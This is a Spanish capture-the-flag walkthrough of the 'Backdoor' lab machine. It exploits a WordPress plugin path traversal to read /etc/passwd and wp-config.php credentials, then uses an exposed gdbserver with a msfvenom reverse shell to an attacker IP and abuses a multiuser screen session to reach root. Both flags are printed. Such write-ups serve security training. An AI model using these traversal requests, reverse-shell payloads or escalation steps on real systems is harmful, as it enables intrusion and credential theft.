Backdoor
9 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.125
- Fecha: 20 / 11 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.125 -p 22,80,1337
Nmap scan report for 10.10.11.125
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
|_http-server-header: Apache/2.4.41 (Ubuntu)
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 44.66 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 1337.
Enumeración
Si vamos a http://10.10.11.125
, veremos una página web de WordPress como la siguiente. Si tratamos de navegar, el servidor nos redirigirá a http://backdoor.htb
, por lo que tenemos que incluir backdoor.htb
en /etc/hosts
.
Vemos que hay un artículo por defecto del usuario admin
:
Enumeración de WordPress
Además, podemos enumerar los plugins utilizados en /wp-content/plugins
(ya que existe una vulnerabilidad de listado de directorios):
El plugin llamado eBook Download
es vulnerable a navegación de directorios, como se muestra en la salida de searchsploit
:
$ searchsploit wordpress ebook download
----------------------------------------------------------- -----------------------
Exploit Title | Path
----------------------------------------------------------- -----------------------
WordPress Plugin eBook Download 1.1 - Directory Traversal | php/webapps/39575.txt
----------------------------------------------------------- -----------------------
Shellcodes: No Results
$ cat 39575.txt
# Exploit Title: WordPress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
Acceso a la máquina
Con este plugin, somos capaces de leer archivos del servidor si el usuario a nivel de sistema (normalmente www-data
) tiene permisos suficientes.
Explotación de Directory Path Traversal
Podemos verificar que el exploit funciona mediante curl
:
$ curl 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/hosts'
/etc/hosts/etc/hosts/etc/hosts127.0.0.1 localhost
127.0.1.1 backdoor
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
<script>window.close()</script>
Se observa que la primera y la última línea contiene información que no interesa. Para evitar que se muestre, podemos encapsular la petición GET en un script en Python llamado dpt.py
para filtrar el contenido de la respuesta y quedarnos con lo que nos interesa (explicación detallada aquí). Ahora, podemos leer los archivos mejor, por ejemplo, /etc/passwd
:
$ python3 dpt.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
Podemos analizar la configuración de WordPress en el archivo wp-config.php
:
$ python3 dpt.py /var/www/html/wp-config.php
<?php
// ...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
// ...
require_once ABSPATH . 'wp-settings.php';
Aquí encontramos unas credenciales para acceder a MySQL. Sin embargo, MySQL no está expuesto y no tenemos ningún tipo de acceso a la máquina. Tampoco podemos acceder al panel de administración de WordPress (/wp-admin
) utilizando la contraseña encontrada ni tampoco entrar por SSH a la máquina.
Enumeración de procesos
En este punto, podemos recordar que había otro puerto abierto en la máquina, el puerto 1337.
Utilizando el plugin de WordPress, podemos listar todos los procesos en ejecución desde el archivo /proc/sched_debug
. Como hay una gran cantidad de procesos, podemos empezar filtrando por aquellos que contengan sh
, para ver aquellos que se están ejecutando en una sesión de consola de comandos:
$ python3 dpt.py /proc/sched_debug | grep sh
I kdmflush 342 1982.495633 2 100 0.000000 0.017011 0.000000 0 0 /
S sh 958 1022.736050 390 120 0.000000 82.017080 0.000000 0 0 /autogroup-67
S sshd 968 10.389860 10 120 0.000000 12.014977 0.000000 0 0 /autogroup-72
S ib_pg_flush_co 1013 1111.061054 220 120 0.000000 18.966596 0.000000 0 0 /autogroup-79
S bash 995 0.499467 2 120 0.000000 2.034465 0.000000 0 0 /autogroup-81
I kdmflush 340 1996.290992 2 100 0.000000 0.011462 0.000000 0 0 /
S sh 959 0.004608 2 120 0.000000 1.493881 0.000000 0 0 /autogroup-68
S ib_log_flush 1029 295.362337 2107 120 0.000000 46.223983 0.000000 0 0 /autogroup-79
S bash 1018 40.675562 46 120 0.000000 27.889225 0.000000 0 0 /autogroup-83
Lo bueno del archivo /proc/sched_debug
es que tenemos el PID (identificador de proceso) en la tercera columna empezando por la izquierda. Ahora podemos obtener información más detallada acerca de un proceso específico. Accediendo a /proc/<PID>/cmdline
, podremos ver cómo se ha iniciado el proceso; /proc/<PID>/environ
nos lista las variables de entorno configuradas para ejecutar el proceso; y /proc/<PID>/fd/<FD>
mostrará el descriptor de archivo especificado para el proceso (0
para stdin
, 1
para stdout
, 2
para stderr
, etc.).
Esta vez, mostrar los comandos es más interesante. Utilizando algunos de los identificadores de proceso anteriores, podemos ver dos comandos curiosos:
$ python3 dpt.py /proc/958/cmdline
/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
$ python3 dpt.py /proc/959/cmdline
/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
De momento, nos centraremos en el segundo. Se está ejecutando gdbserver
en el puerto 1337 para depurar un archivo binario (/bin/true
).
Podemos verificar que el proceso está en ejecución filtrando por gdbserver
en el archivo /proc/sched_debug
:
$ python3 dpt.py /proc/sched_debug | grep gdbserver
S gdbserver 996 3.421556 16 120 0.000000 2.985488 0.000000 0 0 /autogroup-81
$ python3 dpt.py /proc/996/cmdline
gdbserver--once0.0.0.0:1337/bin/true
Por tanto, parece que el vector de entrada es gdbserver
. Este es el comando en ejecución:
gdbserver --once 0.0.0.0:1337 /bin/true
RCE en gdbserver
Podemos conectarnos a la instancia de gdbserver
desde una sesión local de gdb
(utilizando target remote 10.10.11.125:1337
). Sin embargo, no es trivial interactuar con el servidor de esta manera.
Buscando exploits, podemos encontrar un módulo de Metasploit (multi/gdb/gdb_server_exec
). Este módulo funciona correctamente y devuelve una consola de comandos. Sin embargo, he decidido comprender el funcionamiento del módulo y escribir un exploit en Python llamado pwn_gdbserver.py
para conseguir ejecución remota de comandos (explicación detallada aquí).
El exploit también se puede encontrar en ExploitDB y utilizando searchsploit
:
$ searchsploit gdbserver
---------------------------------------------------- -----------------------
Exploit Title | Path
---------------------------------------------------- -----------------------
GNU gdbserver 9.2 - Remote Command Execution (RCE) | linux/remote/50539.py
---------------------------------------------------- -----------------------
Shellcodes: No Results
Para utilizar mi exploit, es necesario generar un payload con msfvenom
con esta instrucción:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 PrependFork=true -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin
Después, podemos lanzar el exploit de la siguiente manera:
$ python3 pwn-gdbserver.py 10.10.11.125:1337 rev.bin
[+] Connected to target. Preparing exploit
[+] Found x64 arch
[+] Sending payload
[*] Pwned!! Check your listener
Y entonces obtenemos una conexión en nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.125.
Ncat: Connection from 10.10.11.125:39166.
script /dev/null -c bash
Script started, file is /dev/null
user@Backdoor:/home/user$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
user@Backdoor:/home/user$ export TERM=xterm
user@Backdoor:/home/user$ export SHELL=bash
user@Backdoor:/home/user$ stty rows 50 columns 158
En este punto, podemos obtener la flag user.txt
:
user@Backdoor:/home/user$ cat user.txt
424f67d5081afb1323b9772953cb0ac1
Enumeración del sistema
Con una básica enumeración, podemos ver que el binario /usr/bin/screen
tiene permisos SUID:
user@Backdoor:/home/user$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec
Recordemos que había un proceso extraño en ejecución. Lo vimos mediante el plugin vulnerable de WordPress:
$ python3 dpt.py /proc/958/cmdline
/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
Básicamente, el comando está comprobando cada segundo que el directorio /var/run/screen/S-root/
está vacío. Si está vacío, entonces se ejecuta screen -dmS root
.
Leyendo el panel de ayuda de screen
vemos que:
-dmS name Start as daemon: Screen session in detached mode.
Escalada de privilegios
Entonces, root
se ha creado una sesión llamada root
en segundo plano. Como screen
es SUID, será ejecutado como el usuario propietario (root
) si lo ejecuta cualquier otro usuario. Consecuentemente, como user
somos capaces de entrar a la sesión de screen
del usuario root
de la siguiente manera (nótese que un root
se refiere al nombre de usuario y el otro se refiere al nombre de la sesión):
user@Backdoor:/home/user$ screen -r root/root
root@Backdoor:~# cat root.txt
631c03c28fc182a3a4128ec8b39e2fb3
Aclaración
Esto no es un problema de seguridad en screen
. El problema está en que se ha configurado explícitamente para ser inseguro:
root@Backdoor:~# ls -la
total 48
drwx------ 7 root root 4096 Apr 23 05:53 .
drwxr-xr-x 19 root root 4096 Nov 15 13:49 ..
lrwxrwxrwx 1 root root 9 Jul 18 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Nov 10 14:18 .cache
drwx------ 3 root root 4096 Nov 10 14:18 .config
drwxr-xr-x 3 root root 4096 Nov 10 14:18 .local
lrwxrwxrwx 1 root root 9 Nov 6 21:40 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 2 root root 4096 Nov 10 14:18 .reset
-rw-r--r-- 1 root root 33 Apr 23 00:31 root.txt
-rw-r--r-- 1 root root 42 Apr 23 00:30 .screenrc
-rw-r--r-- 1 root root 66 Apr 23 05:53 .selected_editor
drwx------ 2 root root 4096 Nov 10 14:18 .ssh
root@Backdoor:~# cat .screenrc
multiuser on
acladd user
shell -/bin/bash
El archivo .screenrc
indica que screen
sea multi-usuario y que permita al usuario llamado user
acceder a las sesiones de root
. La configuración por defecto de screen
hará que cada sesión sea privada para cada usuario, incluso si el binario es SUID.
Para probar que esto es cierto, vamos a vaciar el archivo .screenrc
y tratar de conectarnos otra vez a la sesión de root
:
root@Backdoor:~# echo > .screenrc
root@Backdoor:~# exit
[screen is terminating]
user@Backdoor:/home/user$ screen -r root/root
There is a screen on:
1741.root (01/02/22 12:34:56) (Private)
There is no screen to be attached matching root.
Y no es posible, screen
hace las sesiones privadas por defecto.
Resumiendo, esta escalada de privilegios ha sido posible porque screen
es SUID y root
configuró sus sesiones como multi-usuario y permitió explícitamente al usuario user
acceder a sus sesiones (más información aquí).